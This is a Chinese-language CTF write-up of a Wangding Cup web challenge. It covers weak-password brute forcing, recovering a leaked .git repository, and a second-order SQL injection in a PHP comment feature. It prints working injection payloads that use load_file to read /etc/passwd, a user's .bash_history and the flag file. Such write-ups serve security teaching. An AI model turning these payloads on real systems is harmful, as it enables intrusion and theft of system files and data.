网鼎杯的题啊,每次都能记忆犹新,又get到了不少。
这种发帖的界面在ctf中不少见了,多半是二次注入。但是这个二次注入并不单纯。在一道大坎之前,必定存在小坎。这不,先登录。
先别急着怀疑是否为其他漏洞。仔细观察,它已经给你账号密码了,但是密码隐藏了三位。没错,就是弱口令。还说什么,上bp呗。这里我也不截图了,密码zhangwei666。可以开始发帖了。可能测试了很久,都开始怀疑是否是二次注入了。所以怀疑一下有没有源码泄露吧。
工具是GitHacker
下载地址:https://github.com/WangYihang/GitHacker
命令:
githacker --url http://3a974107-6486-4a22-a4d7-e2de15b8e8cd.node5.buuoj.cn:81/.git/ --output-folder ./
获取到write_do.php。给了一堆似懂非懂的代码。反正我做这时我不知道,大佬说代码缺少。使 用以下命令恢复
首先:git log --reflog
得到:commit e5b2a2443c2b6d395d06960123142bc91123148c (refs/stash) 有很多的这种的,从第一个一个试
然后:git reset --hard e5b2a2443c2b6d395d06960123142bc91123148c 成功恢复内容
源码如下:
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql = "insert into board
set category = '$category',
title = '$title',
content = '$content'";
$result = mysql_query($sql);
header("Location: ./index.php");
break;
case 'comment':
$bo_id = addslashes($_POST['bo_id']);
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
$category = mysql_fetch_array($result)['category'];
$content = addslashes($_POST['content']);
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$result = mysql_query($sql);
}
header("Location: ./comment.php?id=$bo_id");
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>
一般泄露源码的题,就不可能是常规注入。
write指发帖,comment指发送评论。write下边,所有可控制的值被addslashes转义了。但是comment下边,它把category值重新选取出来,并且没有进行过滤就带入了sql语句。很明显,这就是我们要找的注入点。这里注入就一定要绕过单引号。接下来就是巧妙构造
payload:title=111&CATEGORY=1',content=database(),/*&content=111
我们把这个带入源码,看下怎么个事??
$sql = "insert into comment
set category = '1',content=database(),/*',
content = '111',
bo_id = '$bo_id'";
即使在write下单引号被转义。但是那个单引号再次被数据库选出来时,奇迹般的复活了,它又恢复了单引号的特殊含义。 现在category='1',content=database()。/*是php的注释符,将后边的引号注释掉。但是这么注释存在问题,我们构造了一个content,当然/*也要闭合掉一个content。content是评论的内容。在评论区提交*/#会怎样?带进去看看
$sql = "insert into comment
set category = '1',content=database(),/*',
content = '*/#',
bo_id = '$bo_id'";
/**/形成闭合后,因为是php代码,现在只会执行以下代码
$sql = "insert into comment
set category = '1',
content=database(),
#',
bo_id = '$bo_id'";
引号就完美绕开了。在带入sql语句执行。那么评论的内容就会变为数据库的名字
数据库的名字就显现了。那接下来怎么办,如果真按照这个注入,脚本很难写,操作也很复杂。所以这里还是保留了人性奥。读取文件即可。接下来也是脑洞大开时刻。先读取/etc/passwd
paylaod:1',content=(select load_file('/etc/passwd')),/*
发现存在www用户,去读取用户的命令执行历史
payload:1',content=(select load_file('/home/www/.bash_history')),/*
它把一个压缩包解压在tmp目录下,然后删除压缩包,又把html复制去了/www目录,并删除.DS_Store。搁着绕圈子了。那不还是得去读取/tmp/html/.DS_Store。又因为这种文件直接读取通常存在乱码,所以要转进制读取才行
payload:1',content=(select hex(load_file('/tmp/html/.DS_Store'))),/*
这样就读出来一堆16进制。拿去转换一下。看见flag名了-----flag_8946e1ff1ee3e40f.php
这里又有一个坑。假如还是去/tmp目录下读取flag,就会得到一个高仿的flag,比真实的长一点点。这里要去/var/www/html/flag_8946e1ff1ee3e40f.php才是真的。太坑了,也有点难呀,鼠鼠哭死了。
paylaod:
1',content=(select hex(load_file('/var/www/html/flag_8946e1ff1ee3e40f.php'))),/*